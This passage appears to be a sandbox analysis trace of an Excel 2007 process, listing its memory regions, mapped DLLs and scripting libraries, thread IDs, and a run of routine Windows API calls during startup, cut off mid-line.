	          end_va = 0x4bf3fff
	     entry_point = 0x4bf0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")

Region:
	              id = 540
	        start_va = 0x4c00000
	          end_va = 0x4c03fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c00000"
	        filename = ""

Region:
	              id = 541
	        start_va = 0x4c10000
	          end_va = 0x4c13fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004c10000"
	        filename = ""

Region:
	              id = 542
	        start_va = 0x4c20000
	          end_va = 0x4c21fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004c20000"
	        filename = ""

Region:
	              id = 543
	        start_va = 0x4dc0000
	          end_va = 0x4dc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004dc0000"
	        filename = ""

Region:
	              id = 544
	        start_va = 0x4f10000
	          end_va = 0x4f10fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f10000"
	        filename = ""

Region:
	              id = 545
	        start_va = 0x4f40000
	          end_va = 0x4f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f40000"
	        filename = ""

Region:
	              id = 546
	        start_va = 0x4fc0000
	          end_va = 0x4fc3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fc0000"
	        filename = ""

Region:
	              id = 547
	        start_va = 0x55c0000
	          end_va = 0x55fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055c0000"
	        filename = ""

Region:
	              id = 548
	        start_va = 0x5780000
	          end_va = 0x57fffff
	     entry_point = 0x5780000
	     region_type = mapped_file
	            name = "~df7b81daf6726a054a.tmp"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~DF7B81DAF6726A054A.TMP" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\~df7b81daf6726a054a.tmp")

Region:
	              id = 549
	        start_va = 0x5900000
	          end_va = 0x593ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005900000"
	        filename = ""

Region:
	              id = 550
	        start_va = 0x5b20000
	          end_va = 0x5bfcfff
	     entry_point = 0x5b20000
	     region_type = mapped_file
	            name = "excel.exe"
	        filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\excel.exe")

Region:
	              id = 551
	        start_va = 0x5c00000
	          end_va = 0x5c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005c00000"
	        filename = ""

Region:
	              id = 552
	        start_va = 0x5f90000
	          end_va = 0x6003fff
	     entry_point = 0x5f90000
	     region_type = mapped_file
	            name = "mso.dll"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\MSO.DLL" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\mso.dll")

Region:
	              id = 553
	        start_va = 0x63a0000
	          end_va = 0x63dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000063a0000"
	        filename = ""

Region:
	              id = 554
	        start_va = 0x6400000
	          end_va = 0x64fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006400000"
	        filename = ""

Region:
	              id = 555
	        start_va = 0x6a40000
	          end_va = 0x6b3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006a40000"
	        filename = ""

Region:
	              id = 556
	        start_va = 0x73a0000
	          end_va = 0x779ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000073a0000"
	        filename = ""

Region:
	              id = 557
	        start_va = 0x7800000
	          end_va = 0x78fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007800000"
	        filename = ""

Region:
	              id = 558
	        start_va = 0x7ef77000
	          end_va = 0x7ef79fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef77000"
	        filename = ""

Region:
	              id = 559
	        start_va = 0x7ef7a000
	          end_va = 0x7ef7cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef7a000"
	        filename = ""

Region:
	              id = 560
	        start_va = 0x7ef9b000
	          end_va = 0x7ef9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9b000"
	        filename = ""

Region:
	              id = 561
	        start_va = 0x755a0000
	          end_va = 0x755c0fff
	     entry_point = 0x755a0000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")

Region:
	              id = 562
	        start_va = 0x75570000
	          end_va = 0x75599fff
	     entry_point = 0x75570000
	     region_type = mapped_file
	            name = "scrrun.dll"
	        filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll")

Region:
	              id = 563
	        start_va = 0x4fd0000
	          end_va = 0x4fdbfff
	     entry_point = 0x4fd0000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")

Region:
	              id = 905
	        start_va = 0x52f0000
	          end_va = 0x52f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000052f0000"
	        filename = ""

Region:
	              id = 906
	        start_va = 0x5300000
	          end_va = 0x530ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005300000"
	        filename = ""

Region:
	              id = 907
	        start_va = 0x5350000
	          end_va = 0x5350fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005350000"
	        filename = ""

Region:
	              id = 908
	        start_va = 0x5370000
	          end_va = 0x5370fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005370000"
	        filename = ""

Region:
	              id = 1573
	        start_va = 0x3220000
	          end_va = 0x3222fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003220000"
	        filename = ""

Region:
	              id = 1574
	        start_va = 0x4f10000
	          end_va = 0x4f11fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f10000"
	        filename = ""

Region:
	              id = 1575
	        start_va = 0x4fd0000
	          end_va = 0x4fddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fd0000"
	        filename = ""

Region:
	              id = 1576
	        start_va = 0x53c0000
	          end_va = 0x53c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053c0000"
	        filename = ""

Region:
	              id = 1577
	        start_va = 0x53d0000
	          end_va = 0x53d1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053d0000"
	        filename = ""

Region:
	              id = 1578
	        start_va = 0x53e0000
	          end_va = 0x53e1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053e0000"
	        filename = ""

Region:
	              id = 1579
	        start_va = 0x53f0000
	          end_va = 0x53fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000053f0000"
	        filename = ""

Region:
	              id = 1580
	        start_va = 0x5400000
	          end_va = 0x5400fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005400000"
	        filename = ""

Region:
	              id = 1581
	        start_va = 0x5410000
	          end_va = 0x5410fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005410000"
	        filename = ""

Region:
	              id = 1582
	        start_va = 0x5420000
	          end_va = 0x5422fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005420000"
	        filename = ""

Region:
	              id = 1583
	        start_va = 0x5430000
	          end_va = 0x5432fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005430000"
	        filename = ""

Region:
	              id = 1584
	        start_va = 0x5440000
	          end_va = 0x5442fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005440000"
	        filename = ""

Region:
	              id = 1585
	        start_va = 0x5450000
	          end_va = 0x545ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005450000"
	        filename = ""

Region:
	              id = 1586
	        start_va = 0x5460000
	          end_va = 0x5472fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005460000"
	        filename = ""

Region:
	              id = 1587
	        start_va = 0x5480000
	          end_va = 0x548ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005480000"
	        filename = ""

Region:
	              id = 1588
	        start_va = 0x5590000
	          end_va = 0x55a2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005590000"
	        filename = ""

Region:
	              id = 1589
	        start_va = 0x55b0000
	          end_va = 0x55b8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055b0000"
	        filename = ""

Region:
	              id = 1590
	        start_va = 0x5640000
	          end_va = 0x5646fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005640000"
	        filename = ""

Region:
	              id = 1591
	        start_va = 0x5650000
	          end_va = 0x5650fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005650000"
	        filename = ""

Region:
	              id = 1592
	        start_va = 0x5800000
	          end_va = 0x5800fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005800000"
	        filename = ""

Region:
	              id = 1593
	        start_va = 0x5810000
	          end_va = 0x581ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005810000"
	        filename = ""

Region:
	              id = 1594
	        start_va = 0x7900000
	          end_va = 0x7c76fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007900000"
	        filename = ""

Region:
	              id = 1595
	        start_va = 0x5660000
	          end_va = 0x5660fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005660000"
	        filename = ""

Region:
	              id = 1596
	        start_va = 0x5650000
	          end_va = 0x5653fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005650000"
	        filename = ""

Region:
	              id = 1597
	        start_va = 0x5d10000
	          end_va = 0x5d8ffff
	     entry_point = 0x5d10000
	     region_type = mapped_file
	            name = "c0130000"
	        filename = "\\Users\\kFT6uTQW\\Desktop\\C0130000" (normalized: "c:\\users\\kft6utqw\\desktop\\c0130000")

Region:
	              id = 1598
	        start_va = 0x7c80000
	          end_va = 0x807ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000007c80000"
	        filename = ""


Thread:
	id = 1
	os_tid = 0x898


Thread:
	id = 2
	os_tid = 0x894


Thread:
	id = 3
	os_tid = 0x890


Thread:
	id = 4
	os_tid = 0x88c


Thread:
	id = 5
	os_tid = 0x888


Thread:
	id = 6
	os_tid = 0x884


Thread:
	id = 7
	os_tid = 0x880


Thread:
	id = 8
	os_tid = 0x878


Thread:
	id = 9
	os_tid = 0x870


Thread:
	id = 10
	os_tid = 0x86c


Thread:
	id = 11
	os_tid = 0x868


Thread:
	id = 12
	os_tid = 0x864


Thread:
	id = 13
	os_tid = 0x81c


Thread:
	id = 14
	os_tid = 0x814


Thread:
	id = 15
	os_tid = 0x810


Thread:
	id = 16
	os_tid = 0x80c


Thread:
	id = 17
	os_tid = 0x808


Thread:
	id = 18
	os_tid = 0x804


Thread:
	id = 19
	os_tid = 0x740


Thread:
	id = 20
	os_tid = 0x280

	[0076.061] GetVersionExA (in: lpVersionInformation=0x5195798*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x55005c, dwMinorVersion=0x650073, dwBuildNumber=0x730072, dwPlatformId=0x6b005c, szCSDVersion="F") | out: lpVersionInformation=0x5195798*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0076.063] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x75fb0000
	[0076.063] GetProcAddress (hModule=0x75fb0000, lpProcName="FlsAlloc") returned 0x75fc4f2b
	[0076.064] GetProcAddress (hModule=0x75fb0000, lpProcName="FlsGetValue") returned 0x75fc1252
	[0076.064] GetProcAddress (hModule=0x75fb0000, lpProcName="FlsSetValue") returned 0x75fc4208
	[0076.065] GetProcAddress (hModule=0x75fb0000, lpProcName="FlsFree") returned 0x75fc359f
	[0076.068] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75fb0000
	[0076.068] GetProcAddress (hModule=0x75fb0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75fc1916
	[0076.071] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x75fb0000
	[0076.071] GetProcAddress (hModule=0x75fb0000, lpProcName="EncodePointer") returned 0x77c20fcb
	[0076.072] GetProcAddress (hModule=0x75fb0000, lpProcName="DecodePointer") returned 0x77c19d35
	[0076.072] GetCurrentThreadId () returned 0x280
	[0076.072] GetCommandLineA () returned="\"C:\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE\""
	[0076.072] GetEnvironmentStringsW () returned 0x4ef2eb0*
	[0076.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409
	[0076.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5c009f0, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409
	[0076.073] FreeEnvironmentStringsW (penv=0x4ef2eb0) returned 1
	[0076.073] GetStartupInfoA (in: lpStartupInfo=0x3c48b8 | out: lpStartupInfo=0x3c48b8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) 
	[0076.073] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0076.073] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0076.073] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0076.073] SetHandleCount (uNumber=0x20) returned 0x20
	[0076.074] GetACP () returned 0x4e4
	[0076.074] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3c4898 | out: lpCPInfo=0x3c4898) returned 1
	[0076.074] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3c4364 | out: lpCPInfo=0x3c4364) returned 1
	[0076.074] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x3c42f4 | out: lpCharType=0x3c42f4) returned 1
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x3c40e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0076.074] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x3c4378 | out: lpCharType=0x3c4378) returned 1
	[0076.074] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x3c40a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0076.074] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0076.074] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3c3e98, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0076.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x3c4678, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9ekÛ~°H<", lpUsedDefaultChar=0x0) returned 256
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0076.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3c4778, cbMultiByte=256, lpWideCharStr=0x3c40c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
	[0076.074] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256
	[0076.074] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x3c3eb8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256
	[0076.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x3c4578, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 